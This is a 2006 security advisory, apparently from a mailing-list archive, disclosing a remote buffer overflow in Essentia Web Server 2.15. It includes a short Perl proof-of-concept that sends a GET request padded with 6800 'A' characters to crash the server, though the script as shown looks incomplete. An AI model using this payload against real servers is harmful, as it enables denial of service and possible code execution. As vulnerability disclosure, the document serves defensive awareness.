<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<META NAME="Generator" CONTENT="MS Exchange Server version 6.5.7651.51">
<TITLE>[x0n3-h4ck.org] Essentia Web Server 2.15 Buffer Overflow</TITLE>
</HEAD>
<BODY>
<!-- Converted from text/plain format -->
<P><FONT SIZE=2>-=[--------------------ADVISORY-------------------]=-<BR>
<BR>
Essentia Web Server V 2.15<BR>
<BR>
Author:CorryL x0n3-h4ck.org<BR>
-=[----------------------------------------------------]=-<BR>
<BR>
<BR>
-=[+] Application: Essentia Web Server<BR>
-=[+] Version: 2.15<BR>
-=[+] Vendor's URL: <A HREF="http://www.essencomp.com">http://www.essencomp.com</A><BR>
-=[+] Platform: Windows<BR>
-=[+] Bug type: Buffer overflow<BR>
-=[+] Exploitation: Remote<BR>
-=[-]<BR>
-=[+] Author: CorryL ~ corryl80[at]gmail[dot]com ~<BR>
-=[+] Reference: www.x0n3-h4ck.org<BR>
-=[+] Virtual Office: <A HREF="http://www.kasamba.com/CorryL">http://www.kasamba.com/CorryL</A><BR>
<BR>
..::[ Descriprion ]::..<BR>
<BR>
Providing enhanced Web Application and Communication Services, this is a high performance scalable web server that supports thousands of virtual servers.<BR>
<BR>
..::[ Bug ]::..<BR>
<BR>
This software is affection from a buffer overflow<BR>
what it would allow an attacker to perform arbitrary code<BR>
on the system victim.<BR>
Sending a GET+Ax6800 request, he would succeed<BR>
to write above the seh point.<BR>
<BR>
..::[ Proof Of Concept ]::..<BR>
<BR>
#!/usr/bin/perl<BR>
<BR>
<BR>
use IO::Socket;<BR>
<BR>
use Getopt::Std; getopts('h:', \%args);<BR>
<BR>
<BR>
<BR>
if (defined($args{'h'})) { $host = $args{'h'}; }<BR>
<BR>
print STDERR "\n-=[ Essentia Web Server 2.15 Remote DOS Exploit]=-\n";<BR>
<BR>
print STDERR "-=[ Discovered By CorryL corryl80@gmail.com ]=-\n";<BR>
<BR>
print STDERR "-=[ Coded by CorryL info:www.x0n3-h4ck.org ]=-\n\n";<BR>
<BR>
if (!defined($host)) {<BR>
<BR>
Usage();<BR>
<BR>
}<BR>
<BR>
$dos = "A"x6800;<BR>
<BR>
print "[+] Connect to $host\n";<BR>
<BR>
$socket = new IO::Socket::INET (PeerAddr => "$host",<BR>
<BR>
PeerPort => 80,<BR>
<BR>
Proto => 'tcp');<BR>
<BR>
die unless $socket;<BR>
<BR>
print "[+] Sending DOS byte\n";<BR>
<BR>
$data = "GET /$dos \r\n\r\n";<BR>
<BR>
<BR>
..::[ Workaround ]::..<BR>
<BR>
nothing<BR>
<BR>
..::[ Disclousure Timeline ]::..<BR>
<BR>
[30/10/2006] - Vendor notification<BR>
[04/11/2006] – No Vendor Response<BR>
[04/11/2006] - Public disclousure<BR>
<BR>
<BR>
<BR>
<BR>
*********************<BR>
Alice BASIC: mail, antivirus, antispam e invio allegati fino a 2 GB!<BR>
Per maggiori informazioni vai su: <A HREF="http://adsl.alice.it/servizi/alicebasic.html">http://adsl.alice.it/servizi/alicebasic.html</A> </FONT>
</P>
</BODY>
</HTML>